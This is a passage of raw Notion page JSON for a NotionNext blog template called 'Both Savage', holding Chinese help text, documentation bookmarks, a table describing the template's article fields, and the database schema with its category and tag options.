table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337114,"last_edited_time":1705630788431,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"e2e5b065-95c1-42a4-8650-7ad813b1a1d1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"9c344479-39c1-43e6-82db-da1e457673b8":{"value":{"id":"9c344479-39c1-43e6-82db-da1e457673b8","type":"header","properties":{"title":[["如何使用Notion编写文章"]]},"format":{"copied_from_pointer":{"id":"7f76ac38-a1ec-4eb0-9f2b-930be49bd548","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"7f76ac38-a1ec-4eb0-9f2b-930be49bd548"}},"dfbfc243-3c10-4fa6-9afe-b7ea8e16c791":{"value":{"id":"dfbfc243-3c10-4fa6-9afe-b7ea8e16c791","type":"text","properties":{"title":[["请访问教程获取帮助"]]},"format":{"copied_from_pointer":{"id":"05108037-289f-4633-bca4-2491caf39c16","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337143,"last_edited_time":1705594337143,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"05108037-289f-4633-bca4-2491caf39c16"}},"91069561-1f89-408e-ba39-87eb119ef85a":{"value":{"id":"91069561-1f89-408e-ba39-87eb119ef85a","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/start-to-write"]],"title":[["如何在Notion中开始写作 | NotionNext文档"]],"description":[["这是一个由NotionNext生成的站点"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","copied_from_pointer":{"id":"9d4bcc86-6164-49b5-b9f7-da0238c6eae4","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"9d4bcc86-6164-49b5-b9f7-da0238c6eae4"}},"a0bcfc30-03ad-485c-8274-4dd1011c4373":{"value":{"id":"a0bcfc30-03ad-485c-8274-4dd1011c4373","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/notion-short-key"]],"title":[["Notion快捷键 | NotionNext文档"]],"description":[["Notion有很多使用的快捷键,看完这篇文章,让你的效率加倍"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","bookmark_cover":"https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd4851275-5ab5-4aaa-bc51-77c73ad658c4%2Fe8ed862f23227112ab999a90757a3bf8.jpg?table=block\u0026id=a88d5688-b66a-4baf-a8e8-f769bb210954\u0026width=800","copied_from_pointer":{"id":"17282155-ecbc-4305-ac53-fe11b3694d75","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337143,"last_edited_time":1705594337143,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"17282155-ecbc-4305-ac53-fe11b3694d75"}},"35153d83-59d1-4af9-b986-53aa8573709e":{"value":{"id":"35153d83-59d1-4af9-b986-53aa8573709e","type":"header","properties":{"title":[["模板使用说明"]]},"format":{"copied_from_pointer":{"id":"d47d353c-dacf-4bc5-88a9-35cc5747e15f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"d47d353c-dacf-4bc5-88a9-35cc5747e15f"}},"4db6ff22-9486-468a-8f4e-651a0973869c":{"value":{"id":"4db6ff22-9486-468a-8f4e-651a0973869c","type":"text","properties":{"title":[["NotionNext项目必须绑定一个Notion数据库才能使用。请访问教程获取帮助"]]},"format":{"copied_from_pointer":{"id":"d05a1cc7-2e83-4df0-b914-950ae25d7af2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"d05a1cc7-2e83-4df0-b914-950ae25d7af2"}},"3dbdf851-118a-40f3-a713-d6477e7a71a9":{"value":{"id":"3dbdf851-118a-40f3-a713-d6477e7a71a9","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/vercel-deploy-notion-next#3df829414795492bb41ec351eb6da84e"]],"title":[["Vercel云部署 | NotionNext文档"]],"description":[["Vercel是一款国外的Serverless托管平台,对个人用户使用几乎免费,而且方便快捷,用Vercel托管你的Notion站点,无需再操心服务器的维护与资费问题。"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1642083139428-9ee5fa423c46?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=tinysrgb\u0026width=800\u0026fmt=webp","copied_from_pointer":{"id":"c396a66f-9cf3-498d-801c-f4920a250f9c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"c396a66f-9cf3-498d-801c-f4920a250f9c"}},"2083ca79-572d-4541-a5c9-57585bd5c43e":{"value":{"id":"2083ca79-572d-4541-a5c9-57585bd5c43e","type":"transclusion_container","content":["66421ace-22bf-48c7-ad29-02813c60ca86","31b03937-440c-4d3c-9e1d-f7e574980c46","b02f9c83-81f1-43bd-9628-3e7bebd5f788","04b2e24c-2668-4730-a40a-20a95985573b"],"format":{"copied_from_pointer":{"id":"317252ed-9632-402f-a44a-98d96762d689","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"317252ed-9632-402f-a44a-98d96762d689"}},"66421ace-22bf-48c7-ad29-02813c60ca86":{"value":{"id":"66421ace-22bf-48c7-ad29-02813c60ca86","type":"sub_header","properties":{"title":[["Notion模板字段说明"]]},"format":{"copied_from_pointer":{"id":"668dc355-faed-4fe4-9d81-6f58fec61fb5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"668dc355-faed-4fe4-9d81-6f58fec61fb5"}},"31b03937-440c-4d3c-9e1d-f7e574980c46":{"value":{"id":"31b03937-440c-4d3c-9e1d-f7e574980c46","type":"text","properties":{"title":[["Notion数据库中,每条数据都将有以下属性🤔:"]]},"format":{"copied_from_pointer":{"id":"12385e7c-e10c-4622-9e50-7c6ad15123c3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"12385e7c-e10c-4622-9e50-7c6ad15123c3"}},"b02f9c83-81f1-43bd-9628-3e7bebd5f788":{"value":{"id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","type":"table","content":["51461f6d-9183-43ce-abb8-8a36cbf70224","f3b53692-4b37-4a1f-bd37-8fed90eab370","6183f85b-4bca-4886-8124-6225c80922a6","dd776aeb-7770-4ce0-bd08-4a1a747c1e42","b08e2032-92c2-494d-a65f-10865bae9cfa","0a03579c-603b-4921-a96c-582da1d0e6a4","0c2f3812-71c4-4d90-a96b-0f02b10442eb","9183be4f-9a55-4940-812f-e50275f88d5d","ba90c4d0-5bca-43eb-82db-749dd4f2958a","6e433da2-3abf-4b13-8e88-a743d5966975","553d4bf0-c754-45d8-98da-a76da2d494bc"],"format":{"copied_from_pointer":{"id":"dcfd5c0b-5113-455d-8c84-59da641239c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":116.99479675292969},"GENW":{"width":46.989585876464844},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705594337148,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"dcfd5c0b-5113-455d-8c84-59da641239c1"}},"51461f6d-9183-43ce-abb8-8a36cbf70224":{"value":{"id":"51461f6d-9183-43ce-abb8-8a36cbf70224","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"967fcf62-151b-4e6d-8e11-cf1330623b6e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"967fcf62-151b-4e6d-8e11-cf1330623b6e"}},"f3b53692-4b37-4a1f-bd37-8fed90eab370":{"value":{"id":"f3b53692-4b37-4a1f-bd37-8fed90eab370","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"56fe3c1e-0c1b-43d8-8344-56b30ede6161","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"56fe3c1e-0c1b-43d8-8344-56b30ede6161"}},"6183f85b-4bca-4886-8124-6225c80922a6":{"value":{"id":"6183f85b-4bca-4886-8124-6225c80922a6","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"0fa0d89f-d3f7-4100-a856-99812bbc8374","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"0fa0d89f-d3f7-4100-a856-99812bbc8374"}},"dd776aeb-7770-4ce0-bd08-4a1a747c1e42":{"value":{"id":"dd776aeb-7770-4ce0-bd08-4a1a747c1e42","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"fc0a364f-82e8-4089-a37a-fec79f038539","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337167,"last_edited_time":1705594337167,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"fc0a364f-82e8-4089-a37a-fec79f038539"}},"b08e2032-92c2-494d-a65f-10865bae9cfa":{"value":{"id":"b08e2032-92c2-494d-a65f-10865bae9cfa","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"f3c1aeeb-efab-4d55-a8b6-b87f513fc946","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337167,"last_edited_time":1705594337167,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"f3c1aeeb-efab-4d55-a8b6-b87f513fc946"}},"0a03579c-603b-4921-a96c-582da1d0e6a4":{"value":{"id":"0a03579c-603b-4921-a96c-582da1d0e6a4","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["否"]],"Js[p":[["发布日期"]],"`VuO":[["在V3.3.9之前的版本此项为必填。"]]},"format":{"copied_from_pointer":{"id":"41a21bdf-3dd3-4650-95ee-74789c4ea543","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"41a21bdf-3dd3-4650-95ee-74789c4ea543"}},"0c2f3812-71c4-4d90-a96b-0f02b10442eb":{"value":{"id":"0c2f3812-71c4-4d90-a96b-0f02b10442eb","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"30a12038-8ae7-49d2-add1-bf04b02e4310","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"30a12038-8ae7-49d2-add1-bf04b02e4310"}},"9183be4f-9a55-4940-812f-e50275f88d5d":{"value":{"id":"9183be4f-9a55-4940-812f-e50275f88d5d","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"bd6c29d2-2d8c-410d-8854-4febce31c08b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"bd6c29d2-2d8c-410d-8854-4febce31c08b"}},"ba90c4d0-5bca-43eb-82db-749dd4f2958a":{"value":{"id":"ba90c4d0-5bca-43eb-82db-749dd4f2958a","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"e8319f15-4ef7-4e18-b7e2-9465b28093d1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"e8319f15-4ef7-4e18-b7e2-9465b28093d1"}},"6e433da2-3abf-4b13-8e88-a743d5966975":{"value":{"id":"6e433da2-3abf-4b13-8e88-a743d5966975","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["/"],["Menu",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v6/search"]]]]},"format":{"copied_from_pointer":{"id":"9ede6934-ce4f-40fc-966a-5561738eaf8d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337166,"last_edited_time":1705594337166,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"9ede6934-ce4f-40fc-966a-5561738eaf8d"}},"553d4bf0-c754-45d8-98da-a76da2d494bc":{"value":{"id":"553d4bf0-c754-45d8-98da-a76da2d494bc","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[[" 否"]],"Js[p":[[" 文章加锁"]],"`VuO":[[" 需要输入密码才允许访问"]]},"format":{"copied_from_pointer":{"id":"34c189ef-9dc1-45a0-862a-84820c7fa952","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337165,"last_edited_time":1705594337165,"parent_id":"b02f9c83-81f1-43bd-9628-3e7bebd5f788","parent_table":"block","alive":true,"copied_from":"34c189ef-9dc1-45a0-862a-84820c7fa952"}},"04b2e24c-2668-4730-a40a-20a95985573b":{"value":{"id":"04b2e24c-2668-4730-a40a-20a95985573b","type":"text","format":{"copied_from_pointer":{"id":"545f515a-6818-4862-ac51-294023cdf61f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"2083ca79-572d-4541-a5c9-57585bd5c43e","parent_table":"block","alive":true,"copied_from":"545f515a-6818-4862-ac51-294023cdf61f"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"}